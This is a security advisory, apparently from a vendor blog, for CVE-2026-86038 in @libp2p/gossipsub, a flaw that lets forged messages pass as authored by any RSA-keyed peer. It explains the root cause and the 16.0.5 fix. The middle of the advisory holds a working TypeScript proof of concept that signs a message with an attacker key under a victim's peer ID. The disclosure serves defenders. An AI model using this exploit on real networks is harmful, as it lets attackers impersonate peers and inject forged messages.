high · 7.5CVE-2026-86038Sep 17, 2026

CVE-2026-86038: @libp2p/gossipsub StrictSign RSA Peer ID Author Spoofing

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in the gossipsub signature validator lets an attacker forge messages that appear to come from any RSA-keyed peer on the network, breaking message origin trust under the default signing policy.

Package@libp2p/gossipsub
Ecosystemnpm
Affected>= 15.0.0, < 16.0.5
Fixed in16.0.5

The problem

In @libp2p/gossipsub versions 15.0.0 through 16.0.4, validateToRawMessage in buildRawMessage.ts verifies a message signature using the public key supplied in msg.key, but only compares that key against fromPeerId.publicKey when the latter is defined.

RSA peer IDs do not inline their public key, so fromPeerId.publicKey is undefined for any RSA from value parsed from the wire, and the comparison is skipped entirely.

This means an attacker can set msg.from to any victim RSA peer ID, sign the message with their own private key, and put their own public key in msg.key. The signature check passes, and the message is accepted and forwarded through the pubsub mesh as if it was authored by the victim.

StrictSign is the default policy, so no non-default configuration is required.

Proof of concept

A working proof-of-concept for CVE-2026-86038 in @libp2p/gossipsub, with the exact payload below.

javascript
// TypeScript ESM PoC (from advisory GHSA-c3gv-825q-fvmp)
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

function seqno(n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main(): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,   // victim RSA peer ID in from
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign with ATTACKER key, not victim key
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)  // attacker pubkey in msg.key

  const result = await validateToRawMessage(StrictSign, msg)

  // result.valid === true: forged message accepted as authored by victim
  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log('gossipsub StrictSign RSA author spoof reproduced')
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => { console.error(err); process.exitCode = 1 })

The root cause is CWE-347 / CWE-345: the code only guards msg.key != fromPeerId.publicKey when fromPeerId.publicKey !== undefined. RSA peer IDs are multihash digests of the public key with no inline key bytes, so that field is always undefined on the wire, and the attacker-supplied key in msg.key is never bound to the claimed from address.

The patch in commit cec2b1f (PR #3569, released in 16.0.5) adds the unconditional check peerIdFromPublicKey(publicKey).equals(fromPeerId) whenever msg.key is present. This derives a peer ID from the supplied key and verifies it matches from, which for RSA means hashing the key material and comparing the resulting multihash bytes to what the attacker put in from.

An attacker's Ed25519 key will never hash to a victim RSA peer ID, so the check fails and the forgery is rejected.

The fix

Upgrade @libp2p/gossipsub to version 16.0.5 or later. The fix is in commit cec2b1f349d130065e561349a0336a239528267f (PR #3569). No configuration workaround exists for affected versions because StrictSign is the default policy and the bypass works regardless of topic validator settings.

Reporter not attributed.

References: [1][2][3][4][5]

Related research